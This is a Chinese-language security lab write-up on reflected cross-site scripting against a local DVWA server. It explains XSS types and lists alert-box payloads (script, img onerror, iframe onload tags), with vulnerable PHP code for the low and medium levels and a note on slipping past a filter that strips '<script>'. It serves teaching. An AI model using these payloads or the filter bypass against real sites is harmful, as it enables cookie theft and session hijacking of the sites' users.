预备知识
跨站攻击(Cross Site Script Execution)是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行。由于HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码,例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失。
如这句简单的Javascript脚本就能轻易获取用户信息:alert(document.cookie),它会弹出一个包含用户信息的消息框。入侵者运用脚本就能把用户信息发送到他们自己的记录页面中,稍做分析便获取了用户的敏感信息。
跨站脚本攻击分类:
1、持久型XSS,又称存储型XSS
2、非持久型XSS,又称反射型XSS
3、DOM-XSS,DOM(文档对象模型)
其中持久型的危害较大,其余两种目前貌似还没出现大范围、自动化的危害手段,不过已经有人可以把非持久型的跨站的危害最大化,当然对个人技术要求比较高。
对于非持久型的跨站漏洞来说,应该还是属于鸡肋漏洞,不过现在关于如何扩大这种漏洞的危害已经有了一定发展,并且有人成功利用这种漏洞造成了不小的危害。反射型XSS摘掉“鸡肋漏洞”的帽子已经不远了。
下面说下几种稍微不一样的利用方法:
1、敏感信息探测
比如获取浏览器信息,获取系统信息和硬件信息,重要参数暴露,以及分布式破解等
2、内网扫描,探测环境
Javascript能做到的它都能做。已经有案例利用次方法攻击成功。
3、钓鱼就不用多说了,已经有非常多的案例。还有蠕虫、盗取cookie等
实验目的
通过该实验理解跨站原理和利用方法
实验环境
服务器:win2003+DVWA,IP地址:10.1.1.174
测试者:win7,IP地址随机
实验一 :low等级反射型跨站脚本攻击
直接随便提交一个字符串,查看源代码:
利用标签绕过并弹出窗口:
< script>alert("test")< /script>
以下语句也可正常弹出,这里就不一一测试了。
<script>alert("test")</script>
<img src="javascript:alert('XSS')">
<img src="#" onerror=alert(/跨站/)></img>
<img src="javascript:alert(/xss/)">
<iframe/onload=alert(/insight-labs/)>
<div style=”width:expression(alert('xsser'))″>xsser</div>
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . $_GET['name'];
echo '</pre>'; }
?>
这里没有任何过滤,直接输出name,形成XSS攻击。
注:在谷歌浏览器下可能会无法弹出,请使用IE浏览器。
实验二:medium等级的反射型跨站脚本攻击
在medium弹出框:
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
echo '</pre>'; }
?>
Chrome果然是弹不出的orz,那我们直接查看源码,str_replace是一个字符串替换函数,用来过滤关键字<script>
,只要绕过即可。
分析与思考
1)跨站漏洞的原理是什么?
XSS 属于被动式的攻击。攻击者先构造一个跨站页面,利用<script>
、<IMG>
、<IFRAME>
等各种方式使得用户浏览这个页面时,触发对被攻击站点的http 请求。此时,如果被攻击者如果已经在被攻击站点登录,就会持有该站点cookie。这样该站点会认为被攻击者发起了一个http 请求。而实际上这个请求是在被攻击者不知情的情况下发起的,由此攻击者在一定程度上达到了冒充被攻击者的目的。精心的构造这个攻击请求,可以达到冒充发文,夺取权限等等多个攻击目的。在常见的攻击实例中,这个请求是通过script 来发起的,因此被称为Cross Site Script。
2)一般如何挖掘跨站漏洞?
3)现在如果你发现一个跨站漏洞你该如何利用?